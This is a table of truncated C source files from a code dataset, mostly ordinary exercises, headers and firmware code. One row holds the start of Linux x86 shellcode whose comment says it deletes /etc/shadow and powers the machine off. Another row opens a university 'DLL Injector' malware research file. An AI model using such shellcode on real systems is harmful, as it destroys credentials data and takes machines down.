source string | code_lang string | content string | idx int64 |
|---|---|---|---|
the-stack-v2-dedup | C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* move_to_en.c :+: :+: :+: ... | 1,327,600 |
the-stack-v2-dedup | C | /*
* Copyright 2020 Makani Technologies LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law ... | 1,327,601 |
the-stack-v2-dedup | C | #ifndef _MSPMATH_H
#define _MSPMATH_H
uint32_t mult16(uint16_t a, uint16_t b);
uint16_t sqrt16(uint32_t x);
unsigned short myudivmodhi4 (unsigned short num, unsigned short den, short modwanted);
#endif // _MSPMATH_H
| 1,327,602 |
the-stack-v2-dedup | C | // BiConvertElementFormatToValueType
int __fastcall BiConvertElementFormatToValueType(unsigned int a1)
{
int result; // r0
if ( a1 == 1 || a1 <= 1 )
goto LABEL_7;
if ( a1 <= 3 )
return 1;
if ( a1 != 4 )
LABEL_7:
result = 3;
else
result = 7;
return result;
}
| 1,327,603 |
the-stack-v2-dedup | C | #include <stdio.h>
#include "lista.h"
struct elemento
{
struct elemento *anterior;
struct coordenada *valores;
struct elemento *anterior;
};
typedef struct elemento Elem;
Lista* criaLista(){
Lista* li = (Lista*) malloc(sizeof(Lista));
if (li != NULL)
{
*li = NULL
}
return li;
}
void inicizalizaçãoLista(L... | 1,327,604 |
the-stack-v2-dedup | C | #ifndef _TSOS_MEMORY_INCLUDED_
#define _TSOS_MEMORY_INCLUDED_
int tsmem_init(void); /* 動的メモリの初期化 */
void * tsmem_alloc(int size); /* 動的メモリの獲得 */
void tsmem_free(void *mem); /* メモリの解放 */
#endif
| 1,327,605 |
the-stack-v2-dedup | C | #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<glib.h>
typedef struct node
{
char *text;
}NODE;
GSList* list=NULL;
GSList* read(char *filename,GSList* list);
int display(GSList *list);
void print_fun(gpointer item,gpointer prefix);
GSList *add(GSList* list,char* str);
NODE* create(char* str);
GSLis... | 1,327,606 |
the-stack-v2-dedup | C | // Copyright 2015-2018 Nicholas J. Kain <njkain at gmail dot com>
// SPDX-License-Identifier: MIT
#ifndef NDHC_RFKILL_H_
#define NDHC_RFKILL_H_
enum {
RFK_NONE = 0,
RFK_FAIL,
RFK_ENABLED,
RFK_DISABLED,
};
int rfkill_open(bool *enable_rfkill);
int rfkill_get(struct client_state_t *cs, int check_idx, ui... | 1,327,607 |
the-stack-v2-dedup | C | /*
* Filename: entab.c
* Author: Andrew Suzuki <andrew.b.suzuki@gmail.com>
* Date: 05/24/2015
*
* Exercise 1-21. Write a program entab that replaces strings of blanks
* by the minimum number of tabs and blanks to achieve the same spacing.
* Use the same tab stops as for detab. When either a tab or a single blank... | 1,327,608 |
the-stack-v2-dedup | C | /*
** EPITECH PROJECT, 2020
** PSU_zappy_2019
** File description:
** look
*/
#include "player.h"
#include <math.h>
int truemod (int x, int y)
{
int rep = x % y;
if (x < 0)
rep = y + x;
return rep;
}
char *under_look(map_t map, int player_number, int *ij, char *str)
{
int nb = 0;
int i = ... | 1,327,609 |
the-stack-v2-dedup | C | /*
Copyright (c) 2019-2020, Adrien BLASSIAU and Corentin JUVIGNY
Permission to use, copy, modify, and/or distribute this software
for any purpose with or without fee is hereby granted, provided
that the above copyright notice and this permission notice appear
in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE A... | 1,327,610 |
the-stack-v2-dedup | C | // PingPongOS - PingPong Operating System
// Prof. Carlos A. Maziero, DAINF UTFPR
// Versão 1.0 -- Março de 2015
//
// Estruturas de dados internas do sistema operacional
#ifndef __DATATYPES__
#define __DATATYPES__
#ifndef NULL
#define NULL ((void *) 0)
#endif
#define STACKSIZE 32768
#include <ucontext.h>
#include <si... | 1,327,611 |
the-stack-v2-dedup | C | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward d... | 1,327,612 |
the-stack-v2-dedup | C | #define test test_int
// ========================================================================
// curskey_keycode() ======================================================
// ========================================================================
#if 0
test (127, curskey_keycode("DEL")); // alias... | 1,327,613 |
the-stack-v2-dedup | C | #include <Arduino.h>
extern bool newData;
const uint8_t numChars = 32;
extern char commandIn[numChars];
extern uint8_t commandType;
extern char readCommand[numChars];
extern char axis;
extern float value;
enum COMMAND_TYPES {
NONE = 0,
QUERY = 1,
COMMAND = 2
};
// Function Prototypes
void recieve ();
voi... | 1,327,614 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
char *my_env[] = {"JUICE=яблоко и виноград", NULL};
execle("diner_info", "diner_info", "4", NULL, my_env);
return 0;
} | 1,327,615 |
the-stack-v2-dedup | C | #include <p18f4321.h>
#include <pwm.h>
//#pragma config OSC = INTI02
//#pragma config WDT = OFF
//#pragma config MCLRE = ON
void main(){
char period = 0xAA;
Initialize_ADC();
OpenPWM1(period); //PWM on pin 17
SetDCPWM1(Get_ADC()); //ADC on pin 2
}
int Get_ADC(void)
{
ADCON0bits... | 1,327,616 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include "ansi-utils.h"
#include "utlist.h"
#include "arbiter-data.h"
#include "arbiter-func.h"
#include "object-pool.h"
#include "arbiter-server.h"
#include "oiu-client.h"
#include "riu-client.h"
#include "ics-proto.h"
... | 1,327,617 |
the-stack-v2-dedup | C | /*
* strconv.h
*/
#include "main.h"
uint32_t str_to_int(uint8_t *str, uint8_t typ); | 1,327,618 |
the-stack-v2-dedup | C | /**
*
* OHIO STATE UNIVERSITY SOFTWARE DISTRIBUTION LICENSE
*
* Parallel CCD++ on GPU (the “Software”) Copyright (c) 2017, The Ohio State
* University. All rights reserved.
*
* The Software is available for download and use subject to the terms and
* conditions of this License. Access or use of the Software con... | 1,327,619 |
the-stack-v2-dedup | C | /**
* Sistemas Operativos
* Módulo 2, Sesión 1, Ejercicio 2
* Francisco Domínguez Lorente
*/
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<errno.h>
#include<string.h>
int main(int argc, char *argv[])
{
int fd_archivo, fd_salida, numB... | 1,327,620 |
the-stack-v2-dedup | C | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward d... | 1,327,621 |
the-stack-v2-dedup | C | #pragma once
#include "il2cpp-config.h"
#ifndef _MSC_VER
# include <alloca.h>
#else
# include <malloc.h>
#endif
#include <stdint.h>
#include <assert.h>
#include <exception>
struct t3540010562;
struct t968488902;
#include "codegen/il2cpp-codegen.h"
#include "t676692020.h"
#include "t968488902.h"
extern "C" void ... | 1,327,622 |
the-stack-v2-dedup | C | /*
* lcd.h.c
*
* Created: 25-01-2016 20:03:36
* Author : Divyani
*/
#define eS_PORTA0 0
#define eS_PORTA1 1
#define eS_PORTA2 2
#define eS_PORTA3 3
#define eS_PORTA4 4
#define eS_PORTA5 5
#define eS_PORTA6 6
#define eS_PORTA7 7
#define eS_PORTB0 10
#define eS_PORTB1 11
#define eS_PORTB2 12
#defin... | 1,327,623 |
the-stack-v2-dedup | C | #ifndef U1_SORT
#define U1_SORT
#if !defined BUILDING_u1_sort && !defined AS_SMALL
# define U1_SORT_LKG static inline
#else
# define U1_SORT_LKG
#endif
#endif
| 1,327,624 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <stdlib.h>
void Increment(int *x){
printf("Address of variabile a in Increment =%d\n",x);
*x=*x+1;
}
int main()
{
int a;
a=10;
Increment(&a);
printf("Address of variabile a in main=%d\n",&a);
printf("variabile a in main=%d\n",a);
return 0;
}
| 1,327,625 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <string.h>
/*
by Magnefikko
14.04.2010
magnefikko@gmail.com
Promhyl Studies :: http://promhyl.oz.pl
Subgroup: #PRekambr
Name: 55 bytes SLoc-DoS shellcode
Platform: Linux x86
unlink("/etc/shadow");
execve("poweroff", 0, 0);
gcc -Wl,-z,execstack filename.c
shellcode:
\xeb\x25\x5b\x31\xc0\... | 1,327,626 |
the-stack-v2-dedup | C | /*++
This file contains 'Framework Code' and is licensed as such
under the terms of your license agreement with Intel or your
vendor. This file may not be modified, except as allowed by
additional terms of your license agreement.
--*/
/*++
// ********************************************************************... | 1,327,627 |
the-stack-v2-dedup | C | #include<stdio.h>
#include<math.h>
int main()
{
int ax,ay,bx,by,cx,cy,dx,dy;
double s;
int l,k;
scanf("%d %d %d %d %d %d",&ax,&ay,&bx,&by,&cx,&cy);
dx=cx-(bx-ax);
dy=cy-(by-ay);
printf("%d %d\n",dx,dy);
// l=sqrt(((cx-ax)*(cx-ax))+((cy-ay)*(cy-ay)));
//k=sqrt(((dx-bx)*(dx-... | 1,327,628 |
the-stack-v2-dedup | C | #include <stdio.h>
#include "csapp.h"
/* Recommended max cache and object sizes */
/*
* 简单的proxy 支持多线程和有一定缓存， 运用读者-写者模型保证共享，用一个数组去缓存合理的数据*/
/* You won't lose style points for including this long line in your code */
static const char *user_agent_hdr = "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.3) Gecko/20120... | 1,327,629 |
the-stack-v2-dedup | C | /*******************************************************************************
* Copyright (C) 2016, Huada Semiconductor Co.,Ltd All rights reserved.
*
* This software is owned and published by:
* Huada Semiconductor Co.,Ltd ("HDSC").
*
* BY DOWNLOADING, INSTALLING OR USING THIS SOFTWARE, YOU AGREE TO BE BOUND
... | 1,327,630 |
the-stack-v2-dedup | C | /* ----------------------------------------------------------------- */
/* Copyright (c) 2014 Fernando Noveletto Candiani, Marcius Leandro */
/* Junior, Rafael Hiroki de Figueiroa Minami */
/* */
/* This program is free softwar... | 1,327,631 |
the-stack-v2-dedup | C | /*
** Z80.h
**
** PIC32 Z80 emulator
**
** lucio@dijasio.com
**
**
*/
#ifndef Z80_H
#define Z80_H
#define DBGZ80
//#define DBGSTK
//#define Z80_COMPLETE_EMULATION
#define byte unsigned char
void Trap( int);
//-------------------------------------------------------------
// registers
... | 1,327,632 |
the-stack-v2-dedup | C | /*******************************************************************************
* File Name: VoiceC_clock.h
* Version 2.10
*
* Description:
* Provides the function and constant definitions for the clock component.
*
* Note:
*
********************************************************************************
* Copyri... | 1,327,633 |
the-stack-v2-dedup | C | double eBp_p_x(double x, double y, double z, double t, double b, double Y0, double Z, double R, double a);
double eBp_p_x_int(const double *X_p, size_t dim, void *fdata);
double eBp_p_y(double x, double y, double z, double t, double b, double Y0, double Z, double R, double a);
double eBp_p_y_int(const double *X_p, size... | 1,327,634 |
the-stack-v2-dedup | C | #ifndef __CAN2_SUB_NEEDLE_LIQUID_DETECT_COMMON_H_
#define __CAN2_SUB_NEEDLE_LIQUID_DETECT_COMMON_H_
#include "Can2ProcMain.h"
//探液指令集
typedef enum CAN2_SUB_NEEDLE_LIQUID_DETECT_CMD
{
CAN2_SUB_NEEDLE_LIQUID_DETECT_CMD_CHECK_EXIST = 0X00000003,//检测探液板是否存在
CAN2_SUB_NEEDLE_LIQUID_DETECT_CMD_READ_THRESHO... | 1,327,635 |
the-stack-v2-dedup | C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* pf_strcpy.c :+: :+: :+: ... | 1,327,636 |
the-stack-v2-dedup | C | /*
** EPITECH PROJECT, 2018
** prototypes
** File description:
** Prototypes of the functions of the bistromatic
*/
#define MAX(v1, v2) (((v1) > (v2)) ? (v1) : (v2))
#define ABS(v) (((v) > 0) ? (v) : -1 * (v))
extern char const *SYNTAX_ERROR_MSG;
extern char const *ERROR_MSG;
enum {OP_OPENP, OP_CLOSEP, OP_ADD, OP_SU... | 1,327,637 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#define MAXCHAR 1000
//#define MAX 9999 //br17 p43
//#define MAX 40 //rbg
#define MAX 9999999 // ft, kro, ry
//#define MAX 100000000 // ftv
int** copia_matriz(int** mat_original, int num_cidades);
int** cria_copia_matriz(int** ma... | 1,327,638 |
the-stack-v2-dedup | C | #include <stdio.h>
int main(void){
int i, j, r;
int I, J;
r = 2;
I = 1;
// a_n = a_1 + (n - 1)*r
// n = 5
for(i = 0; i < 5; i++){
J = 7 + i * r;
for(j = 0; j < 3; j++,J--){
printf("I=%d J=%d\n", I, J);
}
I += r;
}
return 0;
} | 1,327,639 |
the-stack-v2-dedup | C | //#include "opend2.h"
#define NALLOC 10
static void client_alloc(void){
int i;
if(client==NULL){
client=malloc(NALLOC*sizeof(Client));
}else
client=realloc(client,(client_size+NALLOC)*sizeof*(client));
if(client==NULL)
err_sys("cant alloc for client array");
for(i=client_size;i<client_si... | 1,327,640 |
the-stack-v2-dedup | C | #include "common.h"
#include "sockwrap.h"
#include "readWrite.h"
#include "config.h"
void sendMsg(int);
void receiveMsg(int);
void sig_children(int signo) {
pid_t child;
int stat;
while((child = waitpid(-1, &stat, WNOHANG)) > 0)
fprintf(stdout, "child %d terminated\n", child);
}
void initSocket(const char* strP... | 1,327,641 |
the-stack-v2-dedup | C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* all_headers.c :+: :+: :+: ... | 1,327,642 |
the-stack-v2-dedup | C | /**
* Program to evaluate reverse polish expression
*
* Compilation: gcc -o ques_15 ques_15.c
* Execution:./ques_15
*
* @Aniket , (1910990836) , 23/07/2021
* Assignment 1
*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#define MAXSIZE 100
//Intializing Stack
int stack[MAXSIZE];
//... | 1,327,643 |
the-stack-v2-dedup | C | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward d... | 1,327,644 |
the-stack-v2-dedup | C | #include <stdint.h>
uint32_t ufo_highpitch_soundData[]={255,162,102,101,46,7,47,59,111,150,160,176,163,226,220,199,157,120,74,95,31,13,47,64,116,155,162,171,181,246,207,194,142,102,84,70,8,31,53,92,138,156,174,162,223,226,201,167,124,79,95,18,18,47,71,119,154,170,159,206,239,203,183,136,85,101,25,9,43,62,114,155,166,16... | 1,327,645 |
the-stack-v2-dedup | C | #ifndef SQUARE_H
#define SQUARE_H
struct Square
{
double side_size;
};
#endif
| 1,327,646 |
the-stack-v2-dedup | C | #include <stdio.h>
#include "nr.h"
#include "nrutil.c"
#include "mex.h"
#include <math.h>
#include "nrutil.h"
/**********************************************************************
**
** C equivalent of the Fortran function "sign"
**
***********************************************************************/... | 1,327,647 |
the-stack-v2-dedup | C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* path_calculations.c :+: :+: :+: ... | 1,327,648 |
the-stack-v2-dedup | C | /* csd.c */
/* input file should be of .cav format */
/* output is of .hst format */
#include "csd.h"
#include "command_line_parser.h"
#include <ftw_std.h>
#include <ftw_rng.h>
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int n_bins = 100;
double resolution = .01;
... | 1,327,649 |
the-stack-v2-dedup | C | uchar imgPlayerD[40] = {
0x0A,0x00,0x0A,0x00,0x0A,0x00,0x0A,0x00,0x0F,0xAD,0x0F,0xDF,0x0F,0xAB,0x0F,0xDF,
0x0F,0xFF,0x0F,0xFF,0x0F,0xFF,0x0F,0xFF,0x0F,0xFD,0x0F,0xFF,0x0F,0xFE,0x0F,0xFF,
0x0F,0xA8,0x0F,0xD8,0x0F,0xA8,0x0F,0xD8,
};
| 1,327,650 |
the-stack-v2-dedup | C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* get_next_line_utils_bonus.c :+: :+: :+: ... | 1,327,651 |
the-stack-v2-dedup | C | /*
* src/tutorial/complex.c
*
******************************************************************************
This file contains routines that can be bound to a Postgres backend and
called by the backend in the process of processing queries. The calling
format for these routines is dictated by Postgres archite... | 1,327,652 |
the-stack-v2-dedup | C | #include <stdio.h>
int main() {
int a;
scanf("%d",&a);
printf("%8d -> a>>1\n",a>>1);
printf("%8d -> a>>1\n",a>>1);
a = a>>1;
printf("%8d -> a>>1\n",a>>1);
printf("%8d -> a>>1\n",a>>1);
printf("%8d -> a<<1\n",a<<1);
printf("%8d -> a<<1\n",a<<1);
a = a<<1;
printf("%8d -> a<<1\n",a<<1);
printf("%8... | 1,327,653 |
the-stack-v2-dedup | C | //Toda estas funciones estan definidaes en el otro archivo
void print(double **aux, int w, int a);
double **itera(double **aux, int w);
double **iniciar(double **aux, int w, float a, float b, float c, float d);
| 1,327,654 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <stdlib.h>;
#include "matrix.h"
int main() {
TMatrix* matrix_dynamic, * m1, * m2, * res;
int n;
float add;
float multi;
printf("n = ");
scanf("%d", &n);
printf("add = ");
scanf("%f", &add);
printf("multi = ");
scanf("%f", &multi);
allocate_matrix(&m1, n);
allocate_matrix(&... | 1,327,655 |
the-stack-v2-dedup | C | /* BFD back-end for National Semiconductor's CR16 ELF
Copyright (C) 2007-2022 Free Software Foundation, Inc.
Written by M R Swami Reddy.
This file is part of BFD, the Binary File Descriptor library.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU Gener... | 1,327,656 |
the-stack-v2-dedup | C | ../../../Oscar/Pod/Classes/ActorProvider/OSSingletonActorProvider.h | 1,327,657 |
the-stack-v2-dedup | C | #include "remote.h"
RC_Ctl_t RC_CtrlData=RC_CtrlData_Initialize;
void RemoteDataProcess(uint8_t *pData)
{
if(pData == 0)
{
return;
}
RC_CtrlData.rc.ch0 = ((int16_t)pData[0] | ((int16_t)pData[1] << 8)) & 0x07FF;
RC_CtrlData.rc.ch1 = (((int16_t)pData[1] >> 3) | ((int16_t... | 1,327,658 |
the-stack-v2-dedup | C | ../../../../../FastDevTools/DebugManager/Tools/NSString+EncodeFormat.h | 1,327,659 |
the-stack-v2-dedup | C | #include "dat_w32.h"
#include <stdint.h>
#include <sys/types.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
#include <stdio.h>
#include "dat.h"
#if defined WIN32_IOCP_MODE
#define WRITE_LOG(...) \
do { \
if (verbose) { \
pr... | 1,327,660 |
the-stack-v2-dedup | C | #include <stdio.h>
int binary(int a[], int n, int call, int first, int last, int middle)
{
first = 0;
last = n - 1;
middle = (first + last) / 2;
while (first <= last)
{
if (a[middle] < call)
first = middle + 1;
else if (a[middle] == call)
{
printf("El... | 1,327,661 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <syslog.h>
#include <curl/curl.h>
#include <jansson.h>
#include "utils.h"
int main( int argc, char** argv)
{
struct crow... | 1,327,662 |
the-stack-v2-dedup | C | #include "cub3d.h"
int counting1(t_mn *mn)
{
int i;
int j;
mn->count_sp = 0;
j = 0;
while (j < (mn->num_s - mn->num_s0))
{
i = 0;
while (i < mn->maxlen)
{
if (mn->map[j][i] == '2')
{
mn->count_sp++;
}
i++;
}
j++;
}
return (0);
}
int mall_sp(t_mn *mn)
{
int i;
if (mn->count_sp > ... | 1,327,663 |
the-stack-v2-dedup | C | #include <avr/io.h>
#include <util/delay.h>
#define sbi(x,y) x |= _BV(y)
#define cbi(x,y) x &= ~(_BV(y))
#define tbi(x,y) x ^= _BV(y)
#define is_high(x,y) (x & _BV(y) == _BV(y))
/* _BV(a) is a macro which returns the value corresponding to 2 to the power 'a'. Thus _BV(PX3) would be 0x08 or 0b00001000 */
void main(voi... | 1,327,664 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <string.h>
#include <limits.h>
#include "mu_test.h"
#include "client.h"
#include "server.h"
#define PORT 8080
#define IP "127.0.0.1"
UNIT(Init)
END_UNIT
UNIT(Create_TCP)
TCPclient * tcp = NULL;
tcp = TCPclient_create(8080, "127.0.0.1");
ASSERT_THAT(tcp);
TCPclient_destroy(&tcp);... | 1,327,665 |
the-stack-v2-dedup | C | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward d... | 1,327,666 |
the-stack-v2-dedup | C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_wchrto8.c :+: :+: :+: ... | 1,327,667 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define WHITE 0
#define GRAY 1
#define BLACK 2
#define TRUE 1
#define FALSE 0
#define MAX 999999
typedef struct queueNode *queueNodePointer;
typedef struct queueNode {
int vertex;
queueNodePointer next;
}QueueNode;
typedef struct queue_list *queueListPoin... | 1,327,668 |
the-stack-v2-dedup | C | /*
* jni for Android
* 2011-2011 Jaebong Lee (novaever@gmail.com)
*
* BasicPlayer is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) a... | 1,327,669 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <stdlib.h>
#include "LinkedList.h"
#include "Llamada.h"
/** \brief Parsea los datos los datos de los empleados desde el archivo data.csv (modo texto).
*
* \param path char*
* \param pArrayListLLamada LinkedList*
* \return int
*
*/
int parser_LLamadaFromText(FILE* pFile , Linked... | 1,327,670 |
the-stack-v2-dedup | C | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward d... | 1,327,671 |
the-stack-v2-dedup | C | #define NULL ((void*)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t; typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1
/* Forward d... | 1,327,672 |
the-stack-v2-dedup | C | #ifndef _TWI_PRIVATE_
#define _TWI_PRIVATE_
#define TWCR (*((volatile u8 *) 0x56))
#define TWDR (*((volatile u8 *) 0x23))
#define TWAR (*((volatile u8 *) 0x22))
#define TWSR (*((volatile u8 *) 0x21))
#define TWBR (*((volatile u8 *) 0x20))
/* TWCR bits */
#define TWCR_TWINT 7
#define TWCR_TWEA 6
#define TWCR_TWSTA... | 1,327,673 |
the-stack-v2-dedup | C | #ifndef SEQSTRING_H_INCLUDED
#define SEQSTRING_H_INCLUDED
/*******************************************
* Project: 串string
* Function: 串的顺序结构实现
* Description:
* Author: 老K
*******************************************
* Copyright 2019 by 老K
********************************************/
#include "StatusLib.h"
#... | 1,327,674 |
the-stack-v2-dedup | C | /*
* This program reads an integer, then decide if it smaller than 100,
* larger then 100 but less then 1000, or larger then 1000.
*/
#include <stdio.h>
void main()
{
int num;
printf("\nPlease enter a number: ");
scanf("%d", &num);
if (num <= 100)
{
printf("\nThe given number is less or equal then 100.\n")... | 1,327,675 |
the-stack-v2-dedup | C | Matrix Pattern Printing - First / Last Higher
Given an integer N as the input, print the pattern as given in the Example Input/Output section.
Input Format: The first line contains N.
Output Format: N lines containing the desired pattern.
Boundary Conditions:
2 <= N <= 100
Example Input/Output 1:
Input:
3
Output:
1 1 ... | 1,327,676 |
the-stack-v2-dedup | C | #ifndef OPCODE_H
#define OPCODE_H
void push(stack_t **head, unsigned int line_number);
void pall(stack_t **head, unsigned int line_number);
void pint(stack_t **head, unsigned int line_number);
void pop(stack_t **head, unsigned int line_number);
void swap(stack_t **head, unsigned int line_number);
void add(stack_t **h... | 1,327,677 |
the-stack-v2-dedup | C | /*******************************************************************************
* Copyright 2013-2021 Aerospike, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://ww... | 1,327,678 |
the-stack-v2-dedup | C | /* Multi-Core malware project
* Distributed DLL Injector Example
* Marcus Botacin - 2017
* Federal University of Paraná (UFPR)
*/
/* Include block */
#include<Windows.h>
#include<stdio.h>
/* constants */
#define LOAD_LIB "LoadLibraryA"
/* Prototypes */
HANDLE OPENPROC(int pid);
LPVOID VIRTUALALLOC... | 1,327,679 |
the-stack-v2-dedup | C | /*
* clientes.h
*
* Created on: 10 oct. 2019
* Author: alumno
*/
#ifndef CLIENTE_H_
#define CLIENTE_H_
#define MAX_CUIT 15
#include "utn.h"
typedef struct{
int idCliente;
int statusCliente;
char empresa[50];
char cuit[MAX_CUIT];
char direccion[50];
char localidad[50];
} sCliente;
int cliente_impri... | 1,327,680 |
the-stack-v2-dedup | C | /*
* SPDX-License-Identifier: GPL-2.0-or-later
*
* This file may be redistributed under the terms of the GNU Public
* License.
*/
#ifndef IS_MOUNTED_H
#define IS_MOUNTED_H
#define MF_MOUNTED 1
#define MF_ISROOT 2
#define MF_READONLY 4
#define MF_SWAP 8
#define MF_BUSY 16
extern int is_mounted(const char *file)... | 1,327,681 |
the-stack-v2-dedup | C | #ifndef INCLUDED_CYFITTER_H
#define INCLUDED_CYFITTER_H
#include "cydevice.h"
#include "cydevice_trm.h"
/* ADC_DEC */
#define ADC_DEC__COHER CYREG_DEC_COHER
#define ADC_DEC__CR CYREG_DEC_CR
#define ADC_DEC__DR1 CYREG_DEC_DR1
#define ADC_DEC__DR2 CYREG_DEC_DR2
#define ADC_DEC__DR2H CYREG_DEC_DR2H
#define ADC_DEC__GCOR ... | 1,327,682 |
the-stack-v2-dedup | C | /****************************************************************************
* ==> CSR_Lighting --------------------------------------------------------*
****************************************************************************
* Description : This module provides the lighting functions and types *
* D... | 1,327,683 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define MAX_HASH 10
#define M 31
struct zipc
{
char city[255];
unsigned int zip;
struct zipc *next;
};
struct zipc *hash_table[MAX_HASH];
struct zipc *inserth(char *, unsigned int);
void search_in_hash(char *);
int hash_function(char *);
struct zipc *in... | 1,327,684 |
the-stack-v2-dedup | C | /**
* Copyright 2022 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law... | 1,327,685 |
the-stack-v2-dedup | C | #include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
int main()
{
pid_t ret = fork();
if(ret < 0)
{
printf("创建进程失败！\n");
}
else if(ret > 0)
{
int count = 0;
while(count++ < 5)
{
printf("我是父进程(id:%d)\n",getpid());
sleep(2);
}
exit(0);
}
else
{
while(1)
{
... | 1,327,686 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <stdlib.h>
#include "unittest.h"
void
ut_init(Ut *ut)
{
ut->cur = NULL;
ut->flags = 0;
ut->tested = 0;
ut->failed = 0;
}
void
ut_run(Ut *ut, Utcase **top)
{
Utcase **c;
for (c = top; *c != NULL; c++) {
ut->cur = *c;
ut->cur->exec(ut);
}
if (ut->flags & UT_VERBOSE) {
print... | 1,327,687 |
the-stack-v2-dedup | C | /******************************************************
avalon_es3_reg_initial_value_table.h
----------------------------------------------------
Rf IC control functions
<Revision History>
'10/11/22 : New release.
----------------------------------------------------
Copyright(C) 2010 SHARP CORPORATION
*********... | 1,327,688 |
the-stack-v2-dedup | C | #include <SDL.h>
#include <SDL_gfxPrimitives.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
enum { ABLAK_SZ = 640, ABLAK_M = 320 };
double const golyo_r=13; /* golyó sugara */
double const golyo_m=0.05; /* golyó tömege */
double const g=9.81; /* nehézségi gyorsulás */
double const goly... | 1,327,689 |
the-stack-v2-dedup | C | #include <stdio.h>
#include <stdlib.h>
typedef struct IntList_t
{
int value;
struct IntList_t *previous;
struct IntList_t *next;
} IntList_t;
/*
IntList_t* intList_init(int starting_value)
Like our vector's init function, the LL version must dynamically create a new IntList_t and set its starting... | 1,327,690 |
the-stack-v2-dedup | C | /***************************************************************************//**
* @file ad9361_api.h
* @brief Header file of AD9361 API Driver.
* @author DBogdan (dragos.bogdan@analog.com)
********************************************************************************
* Copyright 2013(c) Analog Devi... | 1,327,691 |
the-stack-v2-dedup | C | #include<stdio.h>
int main()
{
int m,n,i,sumx,sumy,sum;
scanf("%d %d",&m,&n);
sumx=1;
sumy=1;
if(n==m)
{
sum=1;
}
else
{
for(i=0;i<n;i++)
{
sumx=sumx*(m-i);
sumy=sumy*(i+1);
}
}
sum=sumx/sumy;
printf("%d\n",sum);
return 0;
} | 1,327,692 |
the-stack-v2-dedup | C | /* Write a C program that has a declaration in main( ) to store the following numbers
Into an array named rates: 6.5,7.2,7.5,8.3,8.6,9.4,9.6,9.8,10.0. There should be a
Function call to show( ) that accepts rates in a parameter named rates and displays
The numbers using pointer reference notation *(rate... | 1,327,693 |
the-stack-v2-dedup | C | /*! @file radio.h
* @brief This file is the interface file for basic HMI functions.
*
* @b COPYRIGHT
* @n Silicon Laboratories Confidential
* @n Copyright 2012 Silicon Laboratories, Inc.
* @n http://www.silabs.com
*/
#ifndef RADIO_H_
#define RADIO_H_
/***********************************************... | 1,327,694 |
